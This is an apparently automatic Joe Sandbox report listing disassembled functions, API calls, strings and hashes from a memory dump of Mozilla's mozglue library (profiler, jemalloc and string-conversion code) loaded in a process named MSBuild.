Part of subcall function 6C435B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4356EE,?,00000001), ref: 6C435B85
Part of subcall function 6C435B50: EnterCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435B90
Part of subcall function 6C435B50: LeaveCriticalSection.KERNEL32(6C49F688,?,?,?,6C4356EE,?,00000001), ref: 6C435BD8
Part of subcall function 6C435B50: GetTickCount64.KERNEL32 ref: 6C435BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C45F0AC

Part of subcall function 6C435C50: GetTickCount64.KERNEL32 ref: 6C435D40
Part of subcall function 6C435C50: EnterCriticalSection.KERNEL32(6C49F688), ref: 6C435D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C45F0BE

Part of subcall function 6C435C50: __aulldiv.LIBCMT ref: 6C435DB4
Part of subcall function 6C435C50: LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C435DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C45F155
GetCurrentThreadId.KERNEL32 ref: 6C45F1E0
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F1ED
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F212
GetCurrentThreadId.KERNEL32 ref: 6C45F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C45F248
GetCurrentThreadId.KERNEL32 ref: 6C45F2AE
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F2BB
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F2F8

Part of subcall function 6C44CBE8: GetCurrentProcess.KERNEL32(?,6C4131A7), ref: 6C44CBF1
Part of subcall function 6C44CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4131A7), ref: 6C44CBFA

Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
Part of subcall function 6C459420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
Part of subcall function 6C459420: __Init_thread_footer.LIBCMT ref: 6C45949F

GetCurrentThreadId.KERNEL32 ref: 6C45F350
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F35D
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F381
GetCurrentThreadId.KERNEL32 ref: 6C45F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F3A0
GetCurrentThreadId.KERNEL32 ref: 6C45F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F491

Part of subcall function 6C4594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4594EE
Part of subcall function 6C4594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C459508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C45F3CF

Part of subcall function 6C45F070: GetCurrentThreadId.KERNEL32 ref: 6C45F440
Part of subcall function 6C45F070: AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F44D
Part of subcall function 6C45F070: ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C45F4A8
GetCurrentThreadId.KERNEL32 ref: 6C45F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C45F561
GetCurrentThreadId.KERNEL32 ref: 6C45F577
AcquireSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F585
ReleaseSRWLockExclusive.KERNEL32(6C49F4B8), ref: 6C45F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C45F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C45F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C45F499
[I %d/%d] profiler_resume, xrefs: 6C45F239

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: d0e8f6d99ddb32b92e485483af602d1488def2bf63d02bd998845c56644c0035
Instruction ID: b85503a09dde7b921fa3ca83cb105c0605181ca2b26b43b22a495ba8d11f25ca
Opcode Fuzzy Hash: d0e8f6d99ddb32b92e485483af602d1488def2bf63d02bd998845c56644c0035
Instruction Fuzzy Hash: 42D108716062249FFB10EF64D804FAA7BB9EB67329F54451EF95983B80CB315818C7A3

Function 6C4264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C426505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C426518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C42652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C42671C
GetCurrentProcess.KERNEL32 ref: 6C426724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C42672F
GetCurrentProcess.KERNEL32 ref: 6C426759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C426764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C426A80
GetSystemInfo.KERNEL32(?), ref: 6C426ABE
__Init_thread_footer.LIBCMT ref: 6C426AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C426AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C426AF7

Strings

_etoured.dll, xrefs: 6C4264ED
user32.dll, xrefs: 6C426526
nvd3d9wrap.dll, xrefs: 6C426500
detoured.dll, xrefs: 6C4264DA
nvdxgiwrap.dll, xrefs: 6C426513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C426798

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 355f0ec6e4058ffb2a1fdbaebf13250bd0cb61f61b1b6943182b7a441c0cd530
Instruction ID: 68732140c4051b6fb8c84e6df8a80ea0109d2e2425881a6332f0201d12234a20
Opcode Fuzzy Hash: 355f0ec6e4058ffb2a1fdbaebf13250bd0cb61f61b1b6943182b7a441c0cd530
Instruction Fuzzy Hash: 43F1F1709012298FDF20DF64CC89FDAB7B5AF46319F144299E809A3781E735AE84CF90

Function 6C43ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C43EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C43EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C441695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4416B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C441770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C441A3E

Strings

~qAl, xrefs: 6C43ED10
~qAl, xrefs: 6C43ED13

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qAl$~qAl
API String ID: 3693777188-1680614192
Opcode ID: 3aeed8d325e2de8f2ea8f7c71d30af102e3ccd22debf63c8a84043160fe3e5ea
Instruction ID: 3d2f90754d4fe6672400bacbab701b1c94b368fedaa006b11c2c13f5fb0bccc5
Opcode Fuzzy Hash: 3aeed8d325e2de8f2ea8f7c71d30af102e3ccd22debf63c8a84043160fe3e5ea
Instruction Fuzzy Hash: 15B31971E01229CFDB14CFA8C890E9DB7B2FF89304F2581A9D559AB745D730A986CF90

Function 6C427810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49E744), ref: 6C427885
LeaveCriticalSection.KERNEL32(6C49E744), ref: 6C4278A5
EnterCriticalSection.KERNEL32(6C49E784), ref: 6C4278AD
LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C4278CD
EnterCriticalSection.KERNEL32(6C49E7DC), ref: 6C4278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C42795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4279BB
LeaveCriticalSection.KERNEL32(?), ref: 6C427BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C427C82
LeaveCriticalSection.KERNEL32(6C49E7DC), ref: 6C427CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C427DAF

Strings

DIl, xrefs: 6C42787F
DIl, xrefs: 6C42789F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DIl$DIl
API String ID: 759993129-3805824009
Opcode ID: bcd4c96458699eb96f6f704e780e8c175e0c4335f2070d01888298625d6eade5
Instruction ID: 1f1b378b23fe3e1d53017131ecb1edd96dba447c98cf268c3e9a04a0258b52ed
Opcode Fuzzy Hash: bcd4c96458699eb96f6f704e780e8c175e0c4335f2070d01888298625d6eade5
Instruction Fuzzy Hash: 24028331E052198FDB54CF29C985F99B7B5FF88318F2582AAD809A7741D734AE91CF80

Function 6C457E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C458280, 6C4583E1
(pre-xul), xrefs: 6C457E88
vIl, xrefs: 6C458207
schema, xrefs: 6C4581E3, 6C458311
name, xrefs: 6C457ECF, 6C458335

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vIl
API String ID: 3412268980-3000816412
Opcode ID: 1e5e645e436ce36301d319fef113f8bf8673d144b3cf8bf827b97e59ac843988
Instruction ID: 9cc83565141cb68dd51906dd7b5e9b22e3ae7508e7f1f0f8e00e7b2c619f4787
Opcode Fuzzy Hash: 1e5e645e436ce36301d319fef113f8bf8673d144b3cf8bf827b97e59ac843988
Instruction Fuzzy Hash: 93E190B1A043508BC714CF698841E5BFBE9BFC9318F148A2DE899D7790DB74DD098B91

Function 6C43D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D4F2
LeaveCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D50B

Part of subcall function 6C41CFE0: EnterCriticalSection.KERNEL32(6C49E784), ref: 6C41CFF6
Part of subcall function 6C41CFE0: LeaveCriticalSection.KERNEL32(6C49E784), ref: 6C41D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D52E
EnterCriticalSection.KERNEL32(6C49E7DC), ref: 6C43D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C43D6A6
LeaveCriticalSection.KERNEL32(6C49E7DC), ref: 6C43D712
LeaveCriticalSection.KERNEL32(6C49E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C44D1C5), ref: 6C43D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C43D7EA

Strings

<jemalloc>, xrefs: 6C43D827
: (malloc) Error initializing arena, xrefs: 6C43D82C

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 3e40d274e844cef8634ddcb4fa4b67de23d2517d26ba08660b8123f717cdfb5e
Instruction ID: d066f376d5f789adcefc6faed4d49df9d9517ff1c2999384ca89c7db841f9aa4
Opcode Fuzzy Hash: 3e40d274e844cef8634ddcb4fa4b67de23d2517d26ba08660b8123f717cdfb5e
Instruction Fuzzy Hash: D191BE71A147618FD714CF2AC494E2AB7E1FBC9314F14992EE4AE87B80D730A845CB82

Function 6C474EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C474EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C474F2E
moz_xmalloc.MOZGLUE ref: 6C474F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C474F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4752E6
Sleep.KERNEL32(00000010), ref: 6C475481
free.MOZGLUE(?), ref: 6C475498

Strings

(, xrefs: 6C475250

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: a99397c1f8057f1bac4700e74d8a69529b4c4cb6e59d766c93f65e0e12799625
Instruction ID: 52554774bcfd49587ad076e29b67e96f286d75973a575469e269b1b40c132a95
Opcode Fuzzy Hash: a99397c1f8057f1bac4700e74d8a69529b4c4cb6e59d766c93f65e0e12799625
Instruction Fuzzy Hash: CCF1F271A19B108FD716DF38C850A2BB7F5AFE6294F05872EF846A7651DB31C842CB81

Function 6C477030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C477046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C477060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C47707E

Part of subcall function 6C4281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C477096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C47709C
LocalFree.KERNEL32(?), ref: 6C4770AA

Strings

(null), xrefs: 6C47706A, 6C477083
### ERROR: %s: %s, xrefs: 6C477087

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ed4da7865ba2d679be826b41cf48cb6c7b6dc7c7d585e4f97e97eae2f3c0ef2f
Instruction ID: a6de09eab0b33d2dfacf3f6b692277c7ce9466360d2aae7146ab75378deaeafd
Opcode Fuzzy Hash: ed4da7865ba2d679be826b41cf48cb6c7b6dc7c7d585e4f97e97eae2f3c0ef2f
Instruction Fuzzy Hash: B401B9B2A00128AFDF14EF65DC4ADAF7BBCEF49255F010429FA06E3241E67169148BE1

Function 6C462C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C462C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C462C61

Part of subcall function 6C414DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C414E5A
Part of subcall function 6C414DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C414E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C462C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C462E2D

Part of subcall function 6C4281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4281DE

Strings

expected a Time entry, xrefs: 6C462E36
ProfileBuffer parse error: %s, xrefs: 6C462E3B
(root), xrefs: 6C46354F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: e576ad57ab30d3f83a068065fd4c9589eff11573bba690c32d7318a026853196
Instruction ID: 9bcd80c9e61409261dcf2f9bdcf1af8ee8e95954e11b69ddd500d170cf5b8435
Opcode Fuzzy Hash: e576ad57ab30d3f83a068065fd4c9589eff11573bba690c32d7318a026853196
Instruction Fuzzy Hash: 2991C1706087809FD724CF25C490E9FF7E1AF8A358F10492DE59A8BB94DB30D549CB82

Function 6C479E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C479F3D
__aulldiv.LIBCMT ref: 6C479F77
__aullrem.LIBCMT ref: 6C479F8C
__aulldiv.LIBCMT ref: 6C47A023

Strings

NaN, xrefs: 6C479EAB
-Infinity, xrefs: 6C479E60, 6C479E7B

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: eb21743db0a3dffb733dcf1e81d7f29e92f35edc9ef03b669c11f8ee8e199cfe
Instruction ID: d3256c364757c410a0d690ab8832660a4f0fc3da18069830d23708251828eeba
Opcode Fuzzy Hash: eb21743db0a3dffb733dcf1e81d7f29e92f35edc9ef03b669c11f8ee8e199cfe
Instruction Fuzzy Hash: B5C18D71A043188BEB24CFA8C854FDEB7B6EF88315F14452DD405ABB80D775A949CBE1

Function 6C48545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C488A4B

Strings

~qAl, xrefs: 6C485703, 6C489459, 6C489269, 6C48921F, 6C485740, 6C4856C7, 6C48948F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qAl
API String ID: 2221118986-1391548899
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: acfd8dc6d4bda0f9b35ca7806cfefd1c4ec05db924bdf082412d926cd705a0cd
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F2B1D772E0621A8FDB14CF68CC90FA9B7B2EF95314F1802A9C549EB795D730D985CB90

Function 6C48542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C48925C

Strings

~qAl, xrefs: 6C485703, 6C489459, 6C489269, 6C48921F, 6C485740, 6C4856C7, 6C48948F

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memset
String ID: ~qAl
API String ID: 2221118986-1391548899
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cda67fab704e6609f528f21123785f9d67a4e5dda0a0a4a34db16295b7461e68
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 93B1C572E0650A8FDB14CF58CC81EADB7B2EF95314F140269C949EB785D731E98ACB90

Function 6C4677A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C467A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C467A93

Part of subcall function 6C435C50: GetTickCount64.KERNEL32 ref: 6C435D40
Part of subcall function 6C435C50: EnterCriticalSection.KERNEL32(6C49F688), ref: 6C435D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C467AA1

Part of subcall function 6C435C50: __aulldiv.LIBCMT ref: 6C435DB4
Part of subcall function 6C435C50: LeaveCriticalSection.KERNEL32(6C49F688), ref: 6C435DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C467B31

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
